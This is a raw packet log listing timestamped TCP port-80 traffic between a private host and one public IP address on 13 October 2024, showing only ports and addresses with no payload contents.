Oct 13, 2024 06:54:13.775743008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775748014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775795937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775818110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775827885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775854111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775880098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775888920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775917053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775939941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775949955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775983095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.775983095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.775998116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776017904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776030064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776051998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776087046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776118994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776132107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776132107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776132107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776155949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776171923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776290894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776457071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776493073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776525021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776545048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776549101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776601076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776645899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776652098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776654005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776705980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776741028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776742935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776773930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776782036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776798964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776810884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776817083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776846886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776882887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776910067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776911020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776910067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776942968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776946068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.776957989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.776981115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777014971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777046919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777054071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777054071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777055025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777172089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777462006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777496099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777546883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777566910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777566910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777580023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777591944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777631998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777635098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777668953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777720928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777746916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777746916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777776003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777779102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777831078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777861118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777889967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777894020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777895927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777929068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777931929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.777946949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.777965069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778000116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778033018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778052092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778052092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778079033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778187037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778455019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778498888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778549910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778583050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778585911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778585911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778599024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778619051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778652906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778680086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778680086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778688908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778713942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778738976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778742075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778794050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778846979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778862953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778863907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778882027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778909922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778912067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778938055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.778964043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.778999090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779000044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779030085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779036045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779036045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779063940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779087067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779100895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779133081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779165030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779175997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779175997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779200077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779212952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779227972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779234886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779254913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779266119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779318094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779318094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779433966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779500008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779505968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779536963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779572010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779604912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.779635906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779635906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779635906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.779656887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.897615910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.897649050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.897701979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.897739887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.897790909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.897802114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.897845984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.897878885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.897912979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.897917032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.897917032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.897917032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.897917032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.897943974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.897943974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.897965908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898000956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898030996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898099899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898124933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898124933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898124933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898124933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898152113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898160934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898185015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898217916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898221970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898248911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898273945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898273945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898315907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898339033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898372889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898473024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898473024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898475885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898509979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898561001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898586988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898586988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898600101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898613930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898633957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898667097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898699045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898718119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898718119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898718119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898731947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898765087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898798943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898832083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898864985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898875952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898875952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898875952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898875952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898875952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.898900032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898933887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.898967028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899019003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899049997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899077892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899077892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899077892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899077892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899077892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899084091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899118900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899135113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899135113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899173021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899205923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899207115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899245024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899295092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899350882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899374008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899374008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899374008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899374008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899401903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899415970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899442911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899493933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899545908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899579048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899611950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899643898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899657965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899657965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899657965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899657965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899657965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899657965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899696112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899730921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899754047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899754047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899784088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899807930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.899838924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899892092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899925947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899959087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.899991035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900042057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900044918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900046110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900046110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900046110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900046110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900046110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900072098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900122881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900157928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900197983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900197983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900197983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900207996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900221109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900262117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900263071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900304079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900357962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900386095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900437117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900437117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900437117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900437117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900437117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900489092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900521040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900572062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900604010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900636911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900670052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900686026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900686026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900686026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900686026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900686026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900686026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900702953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900727034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900737047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900770903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900804043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900837898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900868893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900891066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900892019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900892019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900892019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900892019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.900903940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900938034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.900973082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901005983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901038885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901057959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901057959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901057959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901057959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901057959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901072979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901108027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901139975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901174068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901206970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901241064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901261091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901261091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901261091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901261091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901261091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901261091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901271105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901304960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901339054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901371956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901406050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901427031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901427031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901427031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901427031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901427031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:13.901439905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901474953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:13.901506901 CEST	80	49730	185.215.113.37	192.168.2.4
